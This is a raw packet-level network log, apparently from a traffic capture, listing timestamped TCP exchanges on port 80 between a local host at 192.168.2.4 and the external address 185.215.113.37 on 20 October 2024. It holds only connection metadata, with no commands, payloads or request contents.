Oct 20, 2024 06:40:20.646512032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646522045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646538973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646558046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646591902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646603107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646615028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646626949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646639109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646640062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646650076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646661997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646666050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646675110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646686077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646687984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646711111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646725893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646764994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646786928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646797895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646809101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646811962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646821022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646827936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646831989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646842957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646847010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646855116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646866083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646876097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646878004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646892071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646902084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646912098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646919012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646924019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646934986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646946907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646954060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646959066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646970034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.646976948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.646990061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647001028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647002935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647013903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647026062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647030115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647036076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647048950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647053957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647061110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647070885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647073984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647082090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647099972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647103071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647115946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647123098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647136927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647140980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647149086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647156000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647161961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647171974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647180080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647183895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647193909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647196054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647208929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647223949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647239923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647243023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647254944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647269964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647277117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647283077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647294044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647305012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647305012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647325039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647327900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647336006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647344112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647351980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647363901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647372007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647377014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647397041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647397995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647411108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647416115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647428036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647439957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647442102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647452116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647455931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647464991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647476912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647478104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647490025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647500038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647517920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647531986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647541046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647545099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647557020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647567034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647582054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647608042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647660017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647670984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647684097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647696018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647705078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647710085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647722006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647727013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647733927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647746086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647752047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647758007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647769928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647774935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647793055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647809029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647809982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647820950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647834063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647845984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647846937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647860050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647862911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647871971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647882938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647886038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647897959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647910118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647910118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647922039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647926092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647934914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647953033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647974014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647979975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.647985935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.647999048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648010969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648015976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.648025990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648030043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.648036957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648047924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648061991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.648061991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648072958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648086071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648087978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.648102999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648113012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.648114920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648139000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.648142099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648152113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648155928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.648166895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648180008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.648190975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648195982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.648200989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648211002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648214102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.648232937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648235083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.648245096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648257017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648263931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.648269892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648282051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648287058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.648293972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648303986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648304939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.648330927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648333073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.648343086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648346901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.648354053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648370028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648370981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.648381948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648390055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.648394108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648413897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.648413897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648426056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648432016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.648437023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648447037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648459911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648473024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.648500919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.648521900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648530960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.648571968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.648585081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.684815884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.684829950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.684842110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.684851885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.685023069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.685024023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.834681988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.834749937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.834762096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.834762096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.834784031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.834794044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.834796906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.834809065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.834820986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.834826946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.834832907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.834856987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.834882975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.834914923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.834925890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.834935904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.834964037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.834980965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.834988117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.834992886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835012913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835019112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.835024118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835033894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.835035086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835052967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.835076094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.835156918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835170031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835202932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.835232973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835243940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835256100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835268021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835285902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.835288048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835299015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835300922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.835321903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.835340023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835345984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.835349083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835393906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.835423946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835433960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835441113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835469007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835469961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.835479975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835490942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835509062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.835525036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.835536957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835556984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835568905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835577011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.835602045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.835625887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835637093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835649967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835663080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835669041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.835684061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.835705996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.835819960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835834980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835845947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835856915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835875988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.835880995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835891962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835901976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.835906982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835917950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.835927963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.835951090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.835973024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.835994005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836030960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.836059093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836071014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836101055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.836132050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836143017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836153984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836169958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836182117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836182117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.836199045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.836225986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.836318970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836329937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836339951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836353064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836364031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836365938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.836375952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836380959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.836390018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836404085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836409092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.836415052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836431980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.836437941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836448908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.836450100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836460114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836472034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836473942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.836483955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836489916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.836496115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836508989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.836513996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836525917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836534023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.836535931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836546898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836550951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.836570024 CEST	80	49730	185.215.113.37	192.168.2.4
